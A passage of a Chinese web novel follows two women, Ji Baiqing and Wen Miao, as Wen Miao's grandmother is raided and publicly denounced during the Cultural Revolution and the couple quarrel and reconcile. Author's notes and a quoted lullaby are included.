清凌凌的眼睛像温泠月,鼻梁的弧度像温泠月,害羞起来笑的模样也像温泠月。 温淼可以感受出来,她看向自己的眼神并没有带着什么恶意,眸中带着怀念,更多的是透过自己在看另一个人。 她抿唇,而后问:“梅姐,你怎么了?” 梅叙捂住脸笑了一声,声音里带了几分悲戚。 温淼以为她哭了,正无措于要怎么安慰,面前的女人就将手放下,眼下没有泪痕,只是眼中水痕浅淡。 她柔着声音道:“叫我梅姨吧,你妈妈……曾经是我同学。” 隔着一段距离,看到季白青对她轻轻点头,温淼便叫了她一声“梅姨”。 梅叙几步回到刚才的位置,掩饰好情绪,回复刚才季白青的请求。 “可以,我会处理好的。” “还有其它的事吗?” 季白青摇头,知道她是在变相赶人,拉着温淼和她们告辞。 “那梅大娘、梅姨,我们先走了。” “等等,”看着她们的背影,梅叙开口拦下,眼神盯着温淼轻声开口,“以后常来。” 季白青笑着应好。 等到门被关上,梅大娘有些担忧地看了女儿一眼。 “这是怎么了?” 梅叙捂着眼睛,沙哑的声音带了几分哽咽:“娘,泠月……不在了。” 闻言,梅大娘脸色一变。 “不在了……” 梅叙和温泠月赌了二十多年的气,气她看不出自己的心思,气她擅自和男人在一起,断联二十多年,没想到现在收到的却是温泠月去世的消息。 她这么多年的煎熬像是一场笑话。 梅叙缩在沙发上泣不成声。 梅大娘在一边看着心里也是百感交集,梅叙四十好几没有结婚生女,这么多年,就算她不说,梅大娘也知道她还在惦记着温家大姑娘。 只是落花有意,流水无情。 温泠月将梅叙看做是朋友,梅叙却喜欢她。 她犹豫一会,最后还是说:“叙叙,当年京市寄过来的信我都留着,没有烧掉,你要拆开看看吗?” 闻言,梅叙抬起通红的眼,点头。 将铁盒子拿到房间,感受着里面沉甸甸的重量,梅叙的心越发酸涩。 五六年的时间里,温泠月给她寄过这么多信,她却一直没有看过。 一封封信被她打开,几乎在地板上铺满,她一张一张信纸看过去,泪水控制不住,一滴一滴地落在纸上,将陈年的墨水晕染开。 温泠月叫她阿叙,一遍一遍问她还生不生气,字里行间是两人相处间她很少见的柔软撒娇语气。 信纸上清隽的字迹整齐排列,偶然能看到几处落笔也带着晕染开的墨迹。 写信的时候,温泠月也会因为她而伤心吗?- 带温淼回了家,季白青的面色还有些复杂。 温淼的心里也有些闷,问她:“阿青,你和梅县长说了什么?” 实在是梅叙后来的表现太过奇怪了。 季白青将自行车停好,带她回了卧室才回答:“梅县长好像认识你妈妈。” 多的话她没明说,不止认识,看起来好像还是又爱又恨。 温淼拧着眉,又问:“梅县长叫什么?” “梅叙。” 梅叙。温淼将这个名字念了几遍,总觉得异常熟悉,但要她细想,她又说不出来到底熟悉在哪。 季白青倒是好奇另一件事,“梅县长和妈妈都不是一个地方的,怎么认识的?” 温淼摇头,“梅叙县长可能是从京市调到溪亭县的。” 溪宁镇是溪亭县的中心镇。 也对。 季白青没多去探究温泠月和梅叙之间的恩怨,毕竟这是上一辈人的事情,她们也不好多掺和什么。 只是觉得有些巧合,溪亭县县长竟然还能够和远在京市的温向荣、温泠月扯上关系。 不过好在有一层关系,这样也方便之后季白青去照顾温向荣。 去拜访过梅叙后,季白青和温淼就开始逐渐忙碌起来。 季白青让荷花帮忙将自己带回来的碎布头做成大肠发圈,用缝纫机操作起来方便,一条发绳给一分五的手工费。 她将手套围巾和尼龙袜这些小的物品整理处理,卖的反而要比衣服好。 尤其是尼龙袜,薄薄的一层,虽然现在的天气并不适合穿,但是时兴货,可以等到天气热的时候穿。 的确良的衣服也卖得快,搭着其它的衣服,大半个月过去,也卖的差不多了。 正月十五一过,温淼也要开始上课了。 有个老师请了产假,多出来的课被温淼和李雯雯两人分着上,每天都过得充实,暂时没有时间再去多想- 二月末,京市温家。 看到了报纸上登记的温向荣和温知意、温皎皎、温如嫣三个女儿断绝关系的消息后,三人的朋友和同事都有些不敢相信。 还是一起在医院工作的医生将报纸拿给温如嫣看,温如嫣才知道了这个消息。 她今天没有夜班,下班后换了衣服,匆匆往家赶。 打开门的时候,温知意和温皎皎早就到了,端坐在一边,两个人的脸色都有些不太好看。 温如嫣洗了个手,随手拉了张凳子坐下。 “娘呢?” 温知意抬头,下巴尖点着书房。 “老太太在书房待着呢,说不想见我们。” 温向荣性格刚强,又一向强势,说一不二,对最疼爱的温淼也是这个态度,更不要说她们三个女儿了。 温如嫣按了按额头,有些头疼,走到书房前敲门。 “娘,我们先和你聊聊,你先出来行吗?” 温向荣透着威严的声音传出来,不带什么情绪。 “没什么好聊的。” 这就是拒绝交流的意思。 温知意也走到了门口,眉心皱起,沉着脸道:“娘,你不开门我就自己踹开了。” 她在军营里呆了几十年,虽然体力比不上温向荣,但是对付一扇门还是有办法的, 这话一出,不知是什么重物砸在了门板上,发出“砰”的一声巨响。 “还敢威胁你老娘了?!” 温知意应下,“嗯,您不开门我就直接硬闯了。” 温向荣不再说话,随后沉稳的脚步声响起,温如嫣和温皎皎佩服地看她一眼。 也就温知意女承母业敢和她顶嘴了,以前就算是温泠月对上温向荣也不敢多说什么。 门被拉开,温向荣用那双饱经风霜的褐色眼瞳默不作声地盯着温知意,温知意下意识挪开眼,随后又强迫自己看着她。 她将自己手上的报纸扬了扬,“我们怎么惹您不高兴了,总要让我们知道吧?” 温知意和温皎皎就算了,两人脾气硬,经常让温向荣生气,要是哪天温向荣真被她们气得要登报和她断绝关系她们也能够理解。 可温如嫣是温向荣的老来女,性格一向温柔和顺,什么事都顺着温向荣来,不可能莫名让温向荣生气的。 温向荣和她们擦身,端着桌上的水喝了一口。 “老娘就是单纯看你们不顺眼,以后别来了,就当我没你们这个女儿。” 她说话声音平淡,锐利的眼放在她们身上,语气也并非玩笑。 温知意眉头紧皱,“行了,娘,别瞒着我们了,你的事我和简州会想办法的,实在不行让她们把我的军衔取消,我替你受处罚,这么点小事,至于你和我们断绝关系吗?” 提到这,温皎皎和温如嫣心情有些低落。 温向荣在她们心中一向都是大山一般的存在,会为她们遮风挡雨,最常说的一句话就是“天塌下来了还有老娘顶着”。 可大山是会老的,谁也没想到大山有一天还会被其她人想方设法地铲除。 没法锁定举报温向荣的人,她们只能眼睁睁看着温向荣被污蔑停职。 温向荣皱眉,有些不耐烦。 “不需要你们管。” “出去!” 她的声音沉下来,不容她人置喙。 当女儿的自然知道这是温向荣发火前的征兆,温知意挽起袖子刚想再和温向荣多掰扯几句,身后的温皎皎见状,连忙见她拉住。 “别惹娘生气。”她小声道。 这几年温向荣的身体状态也不算好,心脏方面检查出了问题,不能太过生气,最好也要减少外界刺激。 温知意想到这一茬后火气也降了些。 被温皎皎拉着出了屋子。 三姐妹站在门口大眼瞪小眼,温如嫣最先打破沉默:“怎么办?” 温知意有些心烦,被气的。 “还能怎么办,娘铁了心了不要我们管。” “我和简州看看能不能把她调到潇南,让她和淼淼近一点。” 温皎皎也点头,“先这样吧,凑钱给上面送点礼,再把东西给娘准备好。” 三个人商量好之后各自离开了,温如嫣再次进屋的时候,温向荣的声音传来:“你还回来干什么?” 温如嫣:“……娘,我不是一直和你住吗?” “搬走。” 她有些无奈,“那也要我先收拾东西啊。” 她将自己的东西收拾好,拎着行李出门的时候,小心开口:“那我真的走了?” 温向荣眼都不抬:“快走,东西也全收走。” 温如嫣有些丧气,最后还是将行李放在了玄关。 “我给您做了饭再走。” 她也不再管温向荣的意见,进了厨房用剩下的食材开始做饭。 温向荣的厨艺不精,老爷子是炊事班的,去世之前一直是他掌勺。 之后就变成了温如嫣做,不过她不挑食,自己做成什么难吃的口味都能面不改色吃完。 做了顿热乎的饭菜,温如嫣正想着和温向荣再吃一顿饭,就听见她娘毫不留情的声音。 “饭做完了,你快走。” 温如嫣:“……” 她没法,只能够饿着肚子,拎着行李离开了。 好在她平时休息会去更近的医院职工宿舍,不用担心没地方去。 不大的屋子里就剩下了温向荣一个人,看着桌上冒着热气的菜,温向荣叹了一口气。 筷子在手里捏了几分钟也没有食欲,最后将菜一罩,回了书房。 仅仅只是第二天,革委会的人就登门了。 都没有敲门,直接用蛮力将门破开,李文宇大摇大摆地带着人走在前面。 “温向荣,出来!” 喊着曾经惧怕的人的名字,李文宇虽然有种翻身农奴把歌唱的得意,但还是中气不足。 革委会的其她人左右看了*看,见着屋子里摆着的东西眼里闪过一抹嫌弃。 不是说她执行资产阶级路线,怎么家里一穷二白的,除了家具就没什么其它贵重的东西。 也就电视机值点钱。 温向荣从书房里走出来,脊背一如既往地挺直,直直看着李文宇的眼睛。 李文宇心一慌,随机想到自己是来干什么的,又挺起胸膛,手一挥,“快去搜查!和资产阶级有关的东西全都搬走。” 温向荣让开道,冷眼看着她们翻找。 一个脸颊精瘦的男人路过她,呸了一声,不屑道: “一个黑五类,不知道在傲气什么!” 温向荣一脚踹向他的屁股,男人跪倒在地上,哀嚎一声。 “老娘怎么样还轮不到你来说。” 瘦脸男人狼狈地站起来,捏着拳头就要挥,拳头还没砸到对方脸上,又被温向荣一脚踹飞几米远。 李文宇嘴角抽了抽,将他扶起来小声道:“副主任,她以前是上战场打仗的,你打不过她的,还是别动手了。” 男人吐出一口血沫,恨恨地看了温向荣一眼,咬牙道:“东西全搬走!全都是资产阶级的东西!” 革委会的人东翻西找,将东西搬得几乎只剩下一个空房子。 温向荣在一边站着,眼神落在了自己被带走的奖章上。 一盒耀眼的、代表着她的功勋的奖章,也被搜查走了。 她眼神一沉,却忍住了情绪没有开口。 革委会副主任见她失神,在心里冷笑一声,推了温向荣一把。 温向荣一时不察,被推得狠狠地撞上了柜角,一半的脸划过,冒出血花,血珠子一滴一滴往外冒,从下巴到额角。 她忍住了痛,扶着柜子站了起来,目光沉沉地看着副主任。 阴鸷的眼神配上染着血色的半张脸,有如罗刹,下一刻就要向他索命。 副主任的腿一软,站在原地一动不敢动。 温向荣一步步走向他。 “你、你别过来,打人可是罪加一等的啊!” 他开口威胁,声音发颤。 温向荣扯着他的头发,扣着他的后脑勺往墙上撞。 眸子里的血色越发浓郁,骨子里的血腥被激发出来。 “老娘给你脸了是吧。” 副主任像只小鸡崽子似的被温向荣拎起来往墙上砸,额头快要见血了,愣住的众人才反应过来。 李文宇道:“愣着干什么!快帮忙啊!” 几个男人一起上前,这才把温向荣拉开。 温向荣将他们的手甩开,抹了一把脸,冷冷道:“你们搜查我都配合,但不代表我就是个任人揉搓的软柿子。” 她一向是个有仇必报的人,条件允许的话仇不隔夜。 见她目光跟头母狼似的凶狠,其她人都忌惮了几分。 李文宇不敢看她,和一个人一起架起副主任,招呼其她人:“继续搬!” 上午家被搬得差不多,温向荣将剩下的东西收拾出来,获得的第一块奖章早就被她埋在了院子里,她在原地看了会儿,最后回到屋子里将昨天晚上温如嫣做的饭吃完了。 仅仅只是两天的时间,她就被带去了隔离审查。 往日里的下属和战友轮番上阵,没了表面关系的遮掩,露出丑恶嘴脸对她轮番逼问。 温向荣什么都没说,一天一夜过去,滴水未沾,脸上的伤口没有得到很好的处理,有些发炎的趋势。 上面也没再对她逼问,而是直接下了材料。 一顿饭后,温向荣被带到了礼堂接受批|斗。 身边是往日的战友正在宣读她所犯下的“罪状”,她站在台上,脊背挺直,眼神还是一如既往的坚毅,看着台下众人。 有自己带过的兵,她夸过的下属,更多的是陌生的人。 宣读到一半,不知道是谁先开的头,将臭鸡蛋往温向荣的脸上砸。 臭鸡蛋被磕破,腥臭的蛋液溢出来,糊了她一脸。 温向荣被迫闭上眼,更多的东西往她的身上、脸上扔。 “坏分子!快砸死她!” “我就说她一个女人,升职那么快肯定是有猫腻,呵呵!” “真给我们部队丢脸。” …… 各式的言论层出不穷,更为偏激的人拿着重物往她身上砸,擦过温向荣的额头,额头直接肿了起来。 温皎皎和温如嫣站在人群后端,捂着嘴才没哭出声来。 温皎皎往前冲,想要冲上台替温向荣挡住那些东西,却被温知意拦下来。 温知意眼神发沉,语气沙哑道:“你去添什么乱!过了这一劫就好了。” 温向荣的本意就是不想要影响她们,她们也不能让温向荣所做出来的努力白费。 就像是她所说的那样,过了这一劫就好了。 她和简州托人安排好了温向荣的去路。 拦住两个妹妹的肩,她轻声道:“走吧,别让娘发现我们。” 眼神含泪,温如嫣扭头又看了一眼温向荣。 即使被众人的议论淹没,即使满身狼狈,她的脊背挺得很直,一如她记忆中的母亲。 强大又坚韧- 季白青将房间门打开,刚想看看温淼醒了没,就见她靠在床头,捂着胸口,颊边的黑发被汗液打湿,明显惊慌。 将手中的东西放下,她快步走到床前,将人拢进怀里,眉心皱起。 “怎么了?” 温淼抬起头来,面色苍白,唇还在发颤,好一会儿才控制住,颤着声音道:“阿青,我做了个噩梦。” 她道:“我梦见奶奶了,她现在很不好。” 听她这么说,季白青心瞬间一沉,不动声色地安慰温淼。 “梦和现实都是反的,乖,别担心,奶奶肯定没事。” “如果真的不放心的话,就写一封信给她,好吗?” 温淼点头。 下床后伏在桌案,将信写好。 信纸上的字迹歪斜,可以看出写字的时候主人有多慌张。 将信写好,让温淼穿上了衣服,她们一起去镇上的邮局,将信寄出去。 回去的路上,坐在自行车后座,温淼还是觉得心神不宁,温向荣被众人唾骂的画面在脑海里迟迟不去。 梦像是一块大石头,沉甸甸地压在了温淼的心头,她几乎有些喘不过气来。 默默将季白青的腰圈紧,她将侧脸贴在她的后腰。 只希望在收到了信之后,如果没事的话,温向荣能够快点回信,得到消息后她才能够安心下来。 回到了家,见温淼脸上担忧的神色不变,季白青安慰她:“没事,前几天奶奶不是还给我们写了信吗?那字一看就是她写的,这才几天,怎么可能会出事呢?” “更何况,还有姑姑她们呢,她们就陪着奶奶身边,要是发生了什么事肯定早就解决了,不可能任由事情发展的。” 她的话说的有道理,自己身在离京市这么远的地方,确实没法顾及到温向荣。 温知意她们肯定不会不管的。 温淼安慰着自己,只是这一点暗示也没能起多大作用。 她咬着唇,翻着桌上随意堆放着的书,从中拿出一本来翻开。 明明都是熟悉的汉字,串联在一起她却一点也看不进去。 无论是做什么事情她都有些心不在焉,跟着季白青一起去割韭菜的时候差点用镰刀将自己的手指割破。 见她这样,季白青也不敢再让她多做什么了。 吃了晚饭,推着她洗了个热水澡,季白青自己草草洗漱完后,将她带上床。 抱着人,她轻哄:“好了,都说了不会有事的,等着奶奶她们的消息就好了,别想那么多。” 温淼闭上了,不想让季白青担心,点了点头。 翻了个身,背对着季白青,她阖着眼睛却一直睡不着, 也不知道是夜里几点,季白青的声音幽幽响起:“还睡不着吗?明天学校给你请个假?” 温淼一怔,最后还要拒绝了。 “没关系,明天可以去上课的。” 她心慌,睡不着,季白青知道,便陪着她一起熬。 两人不说话,一夜没能睡。 第二天还要起个大早,食品站杀猪。 哪知道卖完猪肉刚到家,就听见了何香月说:“淼淼今天切菜把手给切了。” 她脸色不太好看,抓着温淼的手查看,不浅的一道伤口,差点就能见到森白的骨头了。 血还没止住。 去卫生所拿了药,赶紧给她敷上,包扎好。 季白青吐出一口郁气,“以后别碰刀了。” 温淼想要解释什么,但见她脸色难看,最终还是把话都咽了下去。 当天晚上,温淼还是睡不着。 本来想着还是糊弄过去,但季白青对她的状态了解得清清楚楚。 白天她也没有休息,晚上又不睡,还受了伤。 季白青脾气再好也有点暴躁了。 她问:“因为担心奶奶,自己的身体都不顾了吗?” “一天一夜没睡了,温淼。” 温淼没说话,指尖蜷缩,松松拢成拳。 沉默了一会儿,季白青又开口:“明天我给你请个假,你好好在家休息休息,最起码睡一觉,好吗?” 温淼的手攥紧,刀伤处结的疤瞬间崩开,血色透过纱布,她靠着那点刺痛维持清醒,语气不自觉加重:“不用!” “我可以。”意识到了自己的语气生硬,她多说了些。 季白青听了她的话,猛地坐了起来,声音压不住,“温淼,你一两天不休息,你还可以上了?你可以个屁!” “你不爱惜你自己,你还想要谁管你?!是,我能管你,我一天二十四个小时都可以围着你转,但你他爹就不能听一下我的话吗!” “我就这么个老婆,手受伤是谁心疼?这他爹还不是我在心疼!奶奶的事你不休息就能改变吗?你不睡,不睡难道不是我在心疼?你就不能心疼心疼自己吗?!” 说到最后,季白青的语气带上了几分哽咽,面无表情地抹了一把自己的泪,她心跳快了几分,陪着温淼一夜不睡,脑腔无声轰鸣,又闷又疼。 她掀开被子,外套也没拿,想要出去冷静一下。 还没走到门口,就听见了敲门声。 何香月的声音响起:“白青,淼淼,你们刚才在吵架吗?” 屋子里的隔音不好,季白青没有憋住情绪,把何香月和季伟也吵醒了。 “没事娘,没吵架,你回去睡吧。”季白青在原地站着,顿了一会儿后声音如常地回复。 这话说着何香月不太信,又在门口站了一会儿,没再听见争吵的动静后才披着衣服回了屋子。 季白青坐在凳子上,情绪比刚才要缓和了一些。 但还急需冷静。 她站起来,趿着拖鞋准备拉开门往外走。 却突然被人从后面扣住了腰。 柔软馨香的身体贴在她身后,腰上的手锁得很紧。 “嗒”一声,灯被拉开,看着她露出来的细瘦手腕,和纱布上染出来的刺眼猩红,她眼圈红了些,却只淡声问: “干什么?” 温淼还是第一次见她对自己那么冷淡,心里不安又委屈,自虐般按上包着纱布的手指,想要凭借疼痛让思维清晰起来。 却被季白青眼疾手快地拦开,她语气又冷了几分:“温淼?如果现在还觉得自己没有错,那就放开我。” 温淼被她说的心生怯意,手臂慢慢失了力气。 最后垂落在身体的两边。 情绪使然,心脏沉重地被往下拖拽,季白青头也没回,将门拧开,走出几步。 看着她越走越远的背影,温淼的心一慌,憋了两天的眼泪瞬间落了下来。 “季白青,不是你奶奶出事,你根本理解不了我。” 她报复似的喃喃。 正准备出门的季白青到底还是听到了,脚步一顿,还是气不过。 她回过头,一步步走近温淼,眼中的情绪浓稠,让人看不清。 “我不理解你?” 她轻笑了一声,眸光冰冷。 “我他爹把你妈当做我妈、把你奶奶当我亲奶奶了!她出事难道我不着急上火吗?我不理解你。” 她的手指虚虚点在温淼的胸口,最后说出来的话几乎只剩气声了。 “温淼,你到底有没有心?” 【作者有话说】 其实还能再写点的,但是感觉卡在这里刚刚好。 我看看剩下的内容是晚点加更还是明天一起发吧。 小吵怡情。 感谢投雷和营养液,感谢评论订阅收藏[撒花] 69 第69章 ◎不许◎ 其实这话一说出口,温淼就后悔了。 可是温淼害怕,季白青要离开,她不再忍着自己,觉得自己很烦。 多种情绪交织之下,伤人的话还是被她说出了口。 看着季白青脸上的失望,温淼的内心是难以抑制的慌张。 她试探性地想要去抓住季白青的手,却被季白青甩开。 季白青再次狼狈地抹了把脸上的泪,往门口走。 说出互戳心窝子的话绝对不是两人的目的,季白青认为现在她们最需要的就是各自冷静一下。 不然发展到最后肯定会变成互相伤害。 情绪上头,什么话都能说出口,季白青偶尔也控制不住自己。 屋外寒风凛冽,直往人天灵盖吹,刺骨寒意之下,季白青心头的火气降了一些。 也就站了一会儿,身后响起细碎的脚步。 猜到了是谁,她没回头。 肩上被搭上了一件外套,单薄的睡衣下生理性的肌肉战栗幅度减少。 温淼去抓她的手,这才发觉季白青的身上格外的凉。 季白青将自己的手抽出来,还不想理温淼。 温淼固执地抓住她的手,将自己的手指扣进去。 她声音是哑的,大概是刚才哭的。 “不许甩开我。” 季白青闻言轻嗤一声,“你不是说我不理解你吗?那我为什么要听你的话。” 感受到握着自己的手一僵,她到底还是没有将温淼甩开,只是板着一张脸,不去看她。 看她冷冰冰的侧脸,温淼心很乱。 情绪激动之下,她说了很多不好的话,也……让季白青难过了。 说出伤人的话并不是她的本意,但她确实也知道自己的行为很过分。 她仰头,讨好地要去亲季白青的侧脸,却被人预测到了动作。 季白青微微后仰,这时候才真正看温淼一眼。 “温淼,不是什么时候都能凭借这样的方式侥幸过关的。” 眼神落在她单薄的衣服上,季白青更加不悦。 知道给她带一件外套出来,怎么就不知道自己多穿一点再出来。 她不想和温淼多说,再次将自己的手抽出,转身回了屋里。 温淼站在原地咬唇,漆黑的夜色像是浓稠的墨,凛风呼啸而过,她的长发被吹起,在空中张牙舞爪,像是要将她吞噬的猛兽。 没多久,发现她没跟上来的季白青再度出现在门口,面色冷淡看着她:“进不进来?我要关门了。” 温淼将唇咬破,泪一地一地往地上坠。 她轻声道:“你关门吧。” 见她这副模样,季白青拧眉,声音提高:“温淼。” “进来。” 闻言,温淼抬起头,透过朦胧泪眼看向季白青。 她是不是还在关心自己? 所以她还在乎自己是不是? 怕季白青不耐烦,温淼想要往屋里走。 可刚才保持着同一个姿势久了,脚发麻,一动,她身体往前倒,季白青都来不及接,她结结实实摔了一跤。 季白青有些心急上前将人抱起,靠在对方怀里,温淼觉得有些安心,甚至还庆幸刚才摔了一跤。 不然阿青肯定不会理她的。 “阿青,对不起呜……又给你添麻烦了。” 她还是愧于自己又让季白青担心了,她的初衷并不是使用苦肉计让对方心疼。 做错了事,不可以靠走捷径让她原谅,温淼从季白青刚才的话中提炼出这个结论。 季白青没说话,将人放在卧室的凳子上后才问:“你是笨蛋吗?” 摔倒疼的是她,她对自己道歉什么。 如果可以选择,季白青宁愿她是装疼向自己撒娇,而不是真的摔疼了还要故作懂事地道歉。 她出去找药膏,在这之前警告温淼:“坐好,不许乱动。” 肩上披着的外套也被她搭在了温淼的身上,感受着残留的对方身上的体温,温淼低头嗅了嗅。 明明身上的擦伤发疼,但她还是露出浅笑。 阿青好像还在心疼她。 但到底怎么才能够不生气呢? 季白青拿着药和纱布回来,见温淼听话坐在那没动,脸色和缓了一些。 她先帮温淼将手上的纱布拆开,上药后再包扎好。 视线落在她沾了泥灰的双膝和手心上,她打湿毛巾擦干净,专注地给她上药。 温淼低头看着她,试探开口:“阿青。” 季白青眼都没抬,回她:“不许说话,我现在还在生气。” 温淼像蜗牛似的,触角刚伸出去,触碰到阻碍又立马缩回了壳里。 好在季白青现在全部的心神都放在了她的伤口上,不然多少又得被气出点好歹来。 手上被擦破了皮,撩起裤子来,膝盖上磕青了,温淼的皮肤白,肉眼看起来有些严重。 她用药酒帮她将淤青揉开,刚按上去就听见女人痛呼一声。 季白青冷声:“痛也得忍着。” 淤青不揉开,之后会更疼,尤其还伤在膝盖。 两个膝盖的淤青被揉开后,再看温淼,泪珠子在眼眶里打转。 她给温淼换了睡衣睡裤,将她抱上床。 缩在床外侧,温淼小心翼翼抓住季白青的衣袖。 “阿青,能不能别生气了?” “对不起,我不该说那种话,我错了,我知道阿青也很着急,是我口不择言了,以后我不这样,能不能原谅我?” 她抬头,眼巴巴地看着季白青想要得到回应。 季白青站在床边,不大喜欢她仰头看自己的姿势,抽了张凳子坐下来。 “还错在哪了?”她问。 温淼绞着手指,一不留神又碰到了手上的伤口。 她抽了一口气。 季白青将她的手分开,“一天天就顾着折腾这双手了。” 被她盯着,温淼低着头,开始反思自己的错误。 “不该因为心情不好迁怒你,也不应该不顾自己的身体。” 听她将自己的错处说出来,季白青总算是顺了口气。 原本头痛的发胀,现在也缓解了不少。 意识到了自己的错误,这一点很好。 季白青也不舍得多同她生气,在听完她的话后态度缓和了过来。 “最大的错误就是不顾自己的身体。” “蓁蓁,奶奶的事急不来,现在最重要的是照顾好自己,以后奶奶需要我们的时候我们才能够上,对不对?” 温淼轻轻点头。 乖老婆,原谅心爱的人总是无比轻易。 季白青在她唇角轻啄一口。 “奶奶的事还没定下来,在这之前我们都不要担心,办法总比困难多,真出了事我会和你一起想办法,担心奶奶的同时也要爱惜自己的身体,不然奶奶知道肯定也不会高兴的。” “蓁蓁,我也把奶奶看做我的亲奶奶。” 温淼呜咽一声,埋进她的小腹。 “我知道的,都怪我刚才乱说话,我不该那么说的。” 季白青揉揉手下的黑发,温声道:“没关系,我刚才也不该和你生气的,知道你心急,我不该和你吵架,也不该对你说脏话。” 温淼摇头,“都怪我,是我让你生气了。” “啧,”季白青让温淼抬起头来,盯着她剔透的桃花眼,她缓缓开口:“宝宝,无论遇到什么事,我都会和你一起面对,所以你不要太担心,最起码要在意自己的身体,知道吗?” 温淼点头,往床内侧缩了缩,软软向她撒娇:“那你上床睡。” 季白青如她所愿上了床,刚躺下温淼就蹭了过来。 贴在她的心口,听着她的心跳声,温淼多了几分安全感,小声道:“可我睡不着。” 想的太多,大脑中的每一处都被担忧塞满,留不下多余的空间供她休息。 她之前不愿意睡,现在后知后觉感受到了疲惫,却还是睡不着。 有些期盼地看了眼季白青,她小声问:“每次做了之后就很累,今天可以做吗?” 季白青:“……” “我又不是禽兽。” 她一身的伤,季白青没有任何想法。 “给你唱歌行吗?” 见温淼点头,季白青起床将灯拉灭,再回去的时候女人靠了过来,柔软的身子贴在一起。 季白青给她哼自己曾经听过的一首童谣。 “晚风柔柔地吹宝贝乖乖地睡星星有月亮陪不怕黑云儿慢慢地飞 …… 安安静静地睡我亲爱的小宝贝安安静静地睡我亲爱的小宝贝” 她刻意压低了声音,低低柔柔,缱绻温柔。 落在温淼的耳边,她不自觉想着对方哼唱出的调子,精神放松了些。 温淼没睡,季白青就没停,十几遍过后终于感受到怀里的人有了困意,季白青又压低了声音。 再过了一会儿,总算是睡着了。 季白青嗓子有些痒,一想到起床去喝水大概会将眠浅的人吵醒,她忍住了不适,揉了揉刺痛的额角。 她也总算能睡个觉了。 事实证明,温淼的体质确实弱。 熬了一天,情绪起伏太大又吹了冷风,即使季白青半夜顾着她的体温,早上醒来还是发现她发烧了。 脸颊闷红,一量体温,快到三十九度。 去小学给她请了假,季白青去卫生所拿了些药。 给她穿上了厚厚的衣服,喂她喝了点清淡的粥,喝了药才让她继续睡。 发烧的时候昏昏沉沉,也算是补足了觉。 烧了三天体温才回归正常,季白青也没去黑市,在家照顾温淼。 体温正常后,恰好周日,温淼不用上课,可以在家再休息一天。 季白青没让她和自己出去,怕受了风又生病,倒是在卖完猪肉后去邮局取了信。 有两封从京市寄过来的信,除了给温淼的外,还有一封是给她的。 季白青有些诧异,没想到竟然还有自己的份。 回了家,温淼在房间备课,她将信封放在桌上。 “蓁蓁,你的信。” 温淼一愣,手指放在信纸上。 会是奶奶的回信吗? 她希望是,又担心会传来坏消息,迟迟不敢打开。 【作者有话说】 好了,停止争吵。吵架不可以隔夜(正经) 把宿宿雪真勤奋打在公屏上 感谢太阳投的深水呀!可以的话晚上再加更~主要不知道写不写得完 感谢投雷和营养液,感谢订阅评论收藏 文中引用台湾歌谣《宝贝乖乖睡》:晚风柔柔地吹宝贝乖乖地睡星星有月亮陪不怕黑云儿慢慢地飞 宝贝乖乖地睡宝贝有妈妈陪不流泪亲亲你的小嘴淡淡牛奶香味 看你笑得多么甜美梦里梦见了谁妈妈抱着你睡宝贝乖乖地睡 安安静静地睡我亲爱的小宝贝安安静静地睡我亲爱的小宝贝 70 第70章 ◎哄不哄?◎ 季白青在她身边坐下,见她迟迟没有动作,便问:“要我来帮你拆开看看吗?” 温淼摇了摇头。 总不能什么事情都依靠季白青,她深吸一口气,将信纸拿出来快速扫视一遍。 看到最后,温淼捏着信纸的手用力,指尖几乎要薄薄的纸戳破。 她喃喃:“我就知道……” 这段时间内心的不安并非是空穴来风,噩梦突然成现实,虽然也算是早就做了一定的心理准备,她还是难以接受。 季白青见她失魂落魄,将信拿过来查看一番,也沉默下来,想要安慰她却又觉得所有能够组织起来的语言都太过苍白。 这并非是温向荣的来信,而是温皎皎寄过来的信。 温皎皎将温向荣登报和她们断绝关系的事同温淼说了。 聪明如温淼,虽然温皎皎并没有直说温向荣现在的遭遇,但仅仅从这件事上她就可以知道温向荣做出这个决定肯定是带着破釜沉舟的决心。 温向荣不想拖累女儿,所以选择登报宣布和她们断绝关系。 想到了还有一封寄给自己的信,季白青将其拿出来,看到署名后一怔。 寄给她的这封信竟然是温向荣写下来的。 信里的内容简洁,可以总结成两句话。 希望季白青能够快点和温淼结婚,照顾好温淼。 还让温淼不要多想,过好自己的生活。 她将内容展示给温淼看,看完之后,温淼与刚才相比,倒是冷静了一些。 只是落在身侧的手还在发抖。 “奶奶说要我别太担心,她心里肯定有办法的。”她说着这话,不知道是在暗示自己,还是真的信任温向荣的能力。 见她这副模样,季白青有些难受。 还不如对着她大哭一场,将情绪发泄出来总比憋在心里要好。 温淼站起身来,语气平静道:“快中午了,我去做饭。” “蓁蓁,”季白青拉住她,随后轻轻将她抱住,“难过的话,可以哭,不要憋着。” 温淼的手抵在季白青的肩膀上,主动挣脱了她的怀抱,故作轻松对她一笑。 “我不难过。” 原本事情还没确定下来的时候,温淼担忧、恐惧,但是真的确定下来后,她反而松了一口气。 她什么都做不了,现在只能够看温知意她们的安排。 她唯一能做的就是在温向荣需要自己的时候及时出现。 “阿青,该去做饭了。”她再次重复一遍。 季白青沉默一瞬,轻轻点头。 “我和你一起。” 一下午温淼都冷静得过分,季白青觉得自己也是有病。 温淼因为担心温向荣过度焦虑时她着急上火,现在温淼冷静下来,季白青又担心她把自己憋坏了。 跟养孩子似的,生怕温淼心里憋着事不肯说出来。 陪了温淼一下午,她在写教案,季白青在一边将剩下的珠子串好。 手上的活儿干得差不多后,她忍不住又一次询问:“老婆,你如果难过担心的话别憋在心里不说,和我说说可以吗?” 温淼看着她,手下的笔一顿,在书上晕开墨点。 “我真的没事。” 不知道该怎么和她解释,温淼多说了句:“不是你和我说的吗?过度的担心没有用,我现在想清楚了,该干什么就干什么,听你和奶奶的。” 季白青内心的不安微微散了些。 如果温淼真的是这样想的,那自然最好。 算着日子,也快到温向荣下放的时间了。 她向梅叙开了口,有了上一辈的关系在,温向荣不用被安排到原剧情中的偏远地方去,更方便她们去照顾。 睡前,她将要准备的东西写了个清单,打算明天去供销社和黑市买齐,还有些药草是需要去山上挖的。 只是药材她也认不全,抬头看了眼温淼,问:“蓁蓁,明天和我一起去挖一点药材可以吗?” 温淼点头,也没问什么。 第二日,季白青上午在黑市将剩下的衣服摆出来继续卖,大肠发圈和玻璃珠发圈混在一起,大肠发圈是两毛五一条,买两件衣服可以送一条发圈。 卖出了几件衣服,从京市带回来的衣服库存也不剩多少了,利润有大几百。 她将剩下的东西收好,推着自行车去了供销社,回忆着温向荣的身量买了两套衣服,又买了单独的生活用品,将清单上有的东西都买齐了这才载着这些东西回云水村。 